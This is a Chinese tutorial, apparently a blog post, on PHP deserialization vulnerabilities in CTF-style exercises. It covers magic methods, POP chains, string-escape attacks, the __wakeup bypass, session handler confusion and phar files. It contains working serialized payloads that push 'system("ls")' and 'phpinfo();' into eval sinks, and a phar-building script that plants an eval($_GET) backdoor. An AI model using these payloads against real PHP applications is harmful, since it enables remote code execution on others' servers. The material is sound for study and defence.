PHP反序列化漏洞

序列化

简介

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。可以理解为一种编码方式。
序列化的目的是将数据转换为可传输或可存储的形式,使其能够在不同的平台、操作系统或编程语言之间进行交互,而不会损失原始数据的结构和内容。通过序列化,数据可以被编码成字节流,然后在需要时可以进行反序列化恢复为原始的数据结构或对象。

类型

简单数据类型

空字符 NULL --> N;
整型 1145 --> i:1145;
浮点型 114.5 --> d:114.5;
布尔型 true --> b:1; false --> b:0;
字符串 ‘yuanshen’ --> s:8(长度):“yuanshen”;

数组

array(‘ys’,‘mihoyo’) --> a(array):3(参数数量):{i:0(下标/键名);s:2:“ys”;i:1;s:6:“mihoyo”;}

对象

变量为public:

class test{
      public $pub='yuanshen';
      }

O:4:“test”:1:{s:3:“pub”;s:8:“yuanshen”;}
即O(object):类名长度:"类名“:变量(键)数量:{s:键名的长度:“键名”;s:键值的长度:“键值”;}

变量为private:

class test{
      private $pub='yuanshen';
      }

O:4:“test”:1:{s:5:“pub”;s:8:“yuanshen”;}
即O(object):类名长度:"类名“:变量(键)数量:{s:键名的长度+2:“键名”;s:键值的长度:“键值”;}

为什么+2:
private私有属性序列化时,在键名前后会加空字符(%00),即%00键名%00
注意:所以有时再反序列化生成POC时会加一个urlencode,即urlencode(serialize($a))

变量为protected:

class test{
      protected $pub='yuanshen';
      }

O:4:“test”:1:{s:6:"*pub";s:8:“yuanshen”;}
即O(object):类名长度:"类名“:变量(键)数量:{s:键名的长度+3:“*键名”;s:键值的长度:“键值”;}

为什么+3:
protected属性序列化时,在键名前会加空字符(%00) * 空字符(%00),即%00 * %00键名

嵌套对象(对象套对象)

class test{
      public $pub='ys';
      }
class test2{
      public $mihoyo;
      }
$b=new test();
$a=new test2();
$a->mihoyo=$b;
echo serialize($a);
# a类中套b类,序列化a类

O:5:“test2”:1:{s:6:“mihoyo”;O:4:“test:1:{s:3:“pub”;s:2:“ys”;}}
即O(object):(主)类名长度:”(主)类名“:(主)变量(键)数量:{s:(主)键名的长度:"(主)键名";O(object):(分)类名长度:"(分)类名“:(分)变量(键)数量:{s:(分)键名的长度:"(分)键名";s:(分)键值的长度:"(分)键值";}}

反序列化扫盲

反序列化后的内容为对象;
反序列化生成的对象的值由序列化的值提供,与原有类预定义的值无关;
反序列化默认不触发类的成员方法 (魔术方法除外);
修改掉序列化的变量值后调用原对象的函数,反序列化时仍能调用到原对象的目标函数,使用的参数是修改后的变量。可以类比子类调用父类函数理解;

反序列化漏洞

漏洞成因

反序列化过程中,unserialize()接收的值可控,通过更改该值,得到所需的代码(即生成的对象的敏感属性值)

简单复现

  class test{
        public $ys='ys';
        public function display(){
               eval($this->ys);
               }
        }
  $payload=$_GET["cmd"];
  $b=unserialize($payload);
  $b->display();

假设我想执行system(“ls”);命令,即让$b中的$ys=‘system(“ls”);’,我们只要构造出该命令的序列化形式传参给cmd即可。将造的payload:O:4:“test”:1{s:2:“ys”;s:13:“system(“ls”);”}传参给cmd即可执行eval(system(“ls”);)

魔术方法

__construct

构造函数:在实例化对象时会自动执行的魔术方法,可类比c++的构造函数理解。
触发时机:实例化对象时,即new一个对象时
注意:在序列化和反序列化时不触发,仅new时触发

__destruct

析构函数:在对象所有的引用被删除或者当对象被显式销毁时执行,可类比c++
触发时机:反序列化后会触发,序列化不触发(因为反序列化得到的是对象)
例子:

<?php 
class User{
    public function __destruct(){
        echo "析构";
    }
}
$test=new User();
$ser=serialize($test);
unserialize($ser);
?>

该段代码共执行两次析构函数,一次是销毁$test前,一次是销毁反序列化得到的对象前

__sleep

__sleep:序列化函数serialize函数会检查类中是否有__sleep魔术方法,存在则先被调用,再执行序列化。
功能:序列化之前触发,用于清理不必要的属性,返回需要被序列化存储的成员属性。
触发时机:serialize()执行前
参数(可选):成员属性
注意:如果该方法设定不返回任何内容,则后续NULL被序列化,并产生一个E_NOTICE级别的错误。
例子:
在这里插入图片描述

__wakeup

__wakeup:在反序列化之前,unserialize()会检查是否有__wakeup,有则先调用,再反序列化。
作用:反序列化前预先准备对象需要的资源,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
触发时机:反序列化serialize前

出题手段:常在wakeup写赋值语句将目标参数初始化,从而打断反序列化漏洞的利用。

__toString

触发时机:把对象当成字符串调用就会触发
例子:
在这里插入图片描述

错将对象当作字符串使用,触发了__toString方法。

补充:
调用对象:print_r,var_dump
输出字符串:echo,print

__invoke

触发时机:将对象当成函数调用时触发
例子:
在这里插入图片描述
$user1()将对象当作函数使用,触发了__invoke方法

与错误调用有关的其他

__call

触发时机:调用不存在的方法(成员函数)时
参数:$name:表示被调用的方法名(字符串类型);$arguments:表示被调用的方法传递的参数(数组类型)
返回值:根据选择,自定义
例子:
在这里插入图片描述
调用了test对象中没有的函数mihoyo(),触发了__call方法。

__callStatic

触发时机:静态调用的方法不存在时触发

静态调用:使用类名和双冒号(::)来调用类的静态方法或访问类的静态属性。静态调用不需要实例化类对象,直接通过类名进行调用。

参数:同__call方法
例子:
在这里插入图片描述

__get

触发时机:调用的成员属性不存在时
参数:错误的成员属性名(字符串)
例子:
在这里插入图片描述

__set

触发时机:给不存在或无法(无权)访问的成员属性赋值
作用:常用来设置私有属性
参数:$name:指定要设置的属性名称(字符串);$value:指定要为属性设置的值(任意类型)
例子:
在这里插入图片描述

__isset/__empty

作用:用于检测不存在或不可访问的属性是否被赋了值
触发时机:对不可访问或不存在的属性使用时即可触发
参数:要检测的属性名
例子:
在这里插入图片描述
直接访问私有属性var,触发__isset方法

__unset

触发时机:对不可访问的属性使用unset()时
功能:常用于在删除一个不可访问的属性时进行特殊处理。
参数:不可访问的属性名
例子:
在这里插入图片描述

__clone

触发时机:使用clone关键字拷贝完成一个对象后,新对象会自动调用
例子:
在这里插入图片描述

总结

在这里插入图片描述
在这里插入图片描述

pop链扫盲

反推法

反推法:由于类之间的关系常常十分复杂,正推不太现实,所以需要从突破口开始反推解题。
来看例题:

<?php
class index{
    private $test;
    public function __construct(){
        $this->test=new normal();
    }
    public function __destruct(){
        $this->test->action();
}
}
class normal{
    public function action(){
        echo "no hack";
    }
}
class evil {
    public $test2;
    public function action(){
        eval($this->test2);
    }
}
unserialize($_GET['x']);
?>

分析一下代码:
定义了三个类:index,normal,evil;
1、index含有construct和destruct方法,construct将自身属性$test实例化成了normal对象,destruct调用action函数;
2、normal类中定义了它的action函数,但是是fake;
3、evil类定义了它的action函数,其中包括了一个可控的eval函数,是本题的突破口
最后对我们传的参数x反序列化

接着从突破口反推

1、要想执行eval函数,必须在evil类下执行action函数
2、整个代码中只有第8行调用了action函数,所以要能执行index类中的析构方法
3、析构函数中的语句是$this->test->action(),所以我们的目标就是让$test变量是一个evil对象
4、而在$test的初值是由构造函数指定的,是一个normal对象,所以我们现在要让它是evil对象
5、__destruct在反序列化后执行,所以我们只要传参一个evil类格式的包含payload的序列化的值,就会按evil对象形式反序列化出evil对象
6、综上我们的序列化payload即内层是evil形式,外层是index形式

想清思路后在题目代码的基础上写脚本构造payload:

<?php
class index{
    private $test;
    public function __construct(){
        $this->test=new evil();
    }
    #public function __destruct(){
    #    $this->test->action();
#}
}
#class normal{
 #   public function action(){
  #      echo "no hack";
   # }
#}
class evil {
    public $test2="phpinfo();";
    #public function action(){
     #   eval($this->test2);
    #}
}
$a=new index();
echo serialize($a);
?>

得到payload:

O:5:“index”:1:{s:4:“test”;O:4:“evil”:1:{s:5:“test2”;s:10:“phpinfo();”;}}

在这里插入图片描述

POP链

POP链:property oriented programming,面向属性编程。pop链即利用可控的对象属性值通过魔术方法,在代码间多次跳转,最后获取敏感数据的payload。
例题:

<?php
//flag is in flag.php
error_reporting(0);
class Modifier {
    private $var;
    public function append($value){
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show {
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}
class Test {
    public $p;
    public function __get($key){
        $function=$this->p;
        return $function();
    }
}
$pop='';
unserialize($pop);
?>

代码结构:
在这里插入图片描述
发现突破口在include函数,使它包含flag.php,接着一步步触发魔术方法,思路:
在这里插入图片描述
写代码构造payload:

先写大致框架:
在这里插入图片描述
接着按pop链逆向赋值:
在这里插入图片描述
拿到payload,即题目中$pop的值

字符串逃逸

属性逃逸(property escape)指的是在对象外部直接访问和修改对象的属性,绕过了对象的封装性和访问控制。

在序列化和反序列化之间,如果序列化字符串增加或者减少,可能造成反序列化时的属性逃逸。

相关特性

分隔符特性

反序列化,在前面字符串没有问题时,以;}结束,后面的字符串不影响正常的反序列化。

在这里插入图片描述

属性增加特性

在这里插入图片描述

给序列化字符串增加属性,只要记得改掉成员属性数量,即可成功反序列化

减少逃逸

常见触发函数:preg_replace(),str_replace()
例子:

目标:逃逸出一个v3属性,值为123

在这里插入图片描述

在这里插入图片描述

核心思路:序列化字符串中的成员属性个数是限定死的2个,不能增加,所以我们要利用上例中的“11”去把$v2吃掉(含入$v1的键值字符串中),这样我们的$v3就合法了

被替换字符system()就像是用来撑开v1的,撑开之后就会消失,用撑开的地方去吃v2

构造过程(逆推法):

1、目标参加反序列化的字符串:
O:1:“A”:2:{s:2:“v1”;s:?:“abc”;s:2:“v2”;s:?:"";s:2:"v3";s:3:"123";}
2、标红为传参v2的值。接着考虑v1吃v2,使v3逃逸:
在这里插入图片描述
3、标蓝为吃掉v2后v1的值,这也就解释了为什么v2的值是";开头,“是闭合s:?:“处的前引号,;是格式要求的分隔符,这样构造就使得逃逸后的字符串合法了。
4、接着确定两个?的值(从后向前):
(1)v2值的长度是19,所以第二个?写19。当前字符串:
O:1:“A”:2:{s:2:“v1”;s:?:”abc";s:2:"v2";s:19:"”;s:2:“v3”;s:3:“123”;}
(2)所以达成逃逸时,v1的值需要变为标红所示,所以v1的长度应该是20,即第二个?是20
5、接着逆推到用system()撑开v1:目标是撑到20的大小,而v1的大小必须是3+8n,即abc+n个system(),n取大不取小,取n=3,那么v1的大小就是27了,为了不影响后方的逃逸,后面也需要调整
6、当前: O:1:“A”:2:{s:2:“v1”;s:27:“abc";s:2:"v2";s:19:"";s:2:"v3”;s:3:“123”;}
很明显需要调整,而我们可控的只有v2,所以只要给v2填充27-20个字符即可。当然为了不影响语法,要注意位置。
修改为: O:1:“A”:2:{s:2:“v1”;s:27:"abc";s:2:"v2";s:19:"1234567";s:2:“v3”;s:3:“123”;}
7、综上,传的参数:v1为abcsystem()system()system(),v2为1234567”;s:2:“v3”;s:3:“123”;}

在这里插入图片描述
成功逃逸。

增多逃逸

类比减少逃逸:

减少:多逃逸一个成员属性。第一个字符串减少,以吃掉有效代码,在第二个字符串构造目标逃逸代码。
增多:构造出一个逃逸成员属性。第一个字符串增多,吐出多余代码,把多余位置构造成目标逃逸代码。

例子:

目标:逃逸出v3=666

在这里插入图片描述

思路:
在这里插入图片描述

所以最终只用给v1传参ls…ls(11个)";s:2:“v3”;s:3:“666”;}即可成功逃逸:
在这里插入图片描述

增多例题

在这里插入图片描述

目标是修改不能修改的属性值,另一属性值可控;
且存在字符串的增多(php->hack);
判断为字符串增多逃逸

字符串构造:
在这里插入图片描述
所以最终payload:param=php…php(29个)";s:4:“pass”;s:8:“escaping”;}

减少例题

在这里插入图片描述

目标是修改不能修改的属性值,另外两个属性值可控;
且存在字符串的减少(flag->hk);
判断为字符串减少逃逸

思路:

在这里插入图片描述

目标参数值:
在这里插入图片描述

序列化字符串:
在这里插入图片描述
经过反序列化后,成功逃逸出vip=true

常见绕过姿势

绕过wakeup方法

CVE-2016-7124:即wakeup绕过漏洞,若序列化字符串中真实属性个数<标定个数时,会跳过_wakeup
版本限制:PHP5<5.6.25 / PHP7<7.0.10
如:O:4"test":2:{s:2:“ys”;}

引用绕过相等

序列化中的引用特性:
在这里插入图片描述
另外:
1、由于serialize函数总默认把被引用的属性放到{}中的第一个位置,所以一般都是R:2
2、注意逻辑关系(谁是谁的引用),&不要加错位置

例题:
在这里插入图片描述

思路:利用引用,让enter成为secret的引用,所以当反序列化后给secret赋值为*时,enter也就赋值为了*
payload:O:8:“just4fun”:2:{s:6:“secret”;s:5:“enter”;N;R:2}

十六进制绕过关键字

在反序列化时,序列化中的十六进制会被转化成字母
\00 会被替换为 %00
\65 会被替换为 e
所以:可以使用十六进制以绕过关键字过滤

session反序列化漏洞

前置知识:

1、session的存储:当调用session_start()或php.ini中的session.auto_start=1时,php会将访问用户的session序列化后存储在指定目录(默认为/tmp)。

主要存取格式:
在这里插入图片描述
声明格式的语句:ini_set(‘session.serialize_handler’,‘处理器’)

漏洞详情:

2、漏洞成因:session的存储格式和读取格式不同,利用"误会"执行恶意代码
3、使用时机:一个页面存储,一个页面读取,且格式类型不同

例子:
在这里插入图片描述
在这里插入图片描述

审一下代码,着手点在D类中的析构函数下的eval函数,目标即给a赋值为恶意代码。

特性:同一目录下,一个文件session_start()并存储了一个session,那么访问另一个使用session_start()的文件会对第一个文件的session反序列化

思路:提交?a=|O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}这个字符串
经过php_serialize存储后是a:1:{s:3:“ben”;s:39:"|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}"}
再到另一页面以php格式读取:此时按照php格式读取,会从管道符|开始读取,即前面的作废,只反序列化出我们构造的D对象,以成功执行eval函数
在这里插入图片描述

phar反序列化漏洞

简介

phar:类似JAR的打包文件,php>5.3默认支持
利用:配合文件上传、文件包含、phar伪协议读取
在这里插入图片描述

1、漏洞原理:manifest以序列化存储信息,用phar伪协议解析.phar文件时会触发自动反序列化。
2、条件:php>=5.2;phar.readonly=off
3、部分触发函数:
在这里插入图片描述

使用情况

(1)phar文件可上传
(2)有可用的魔术方法作为跳板,以执行漏洞函数
(3)存在文件操作函数(可触发函数)
(4)文件操作参数可控

注意:.phar文件无关后缀,例如将1.phar改为1.png没有影响

生成phar文件的脚本

根据题目具体题目修改#注释处

<?php
class Testobj  #根据题目修改类名
{
    public $output='';  #若有属性,则自己修改
}

@unlink('test.phar');  //删除之前的test.phar(有的话)
$phar=new Phar('test.phar');  //创建phar对象
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __halt_compiler(); ?>');  //写入stub
$o=new Testobj();  #根据名字修改
$o->output='eval($_GET["a"]);'; #根据题目设置成员属性
$phar->setMetadata($o);  //写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

例题

在这里插入图片描述

思路:对md5_file函数使用phar伪协议可以触发phar反序列化漏洞

根据题目,利用脚本构造phar文件:
在这里插入图片描述
在这里插入图片描述
接着反序列化被触发,析构方法被触发,成功输出flag。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值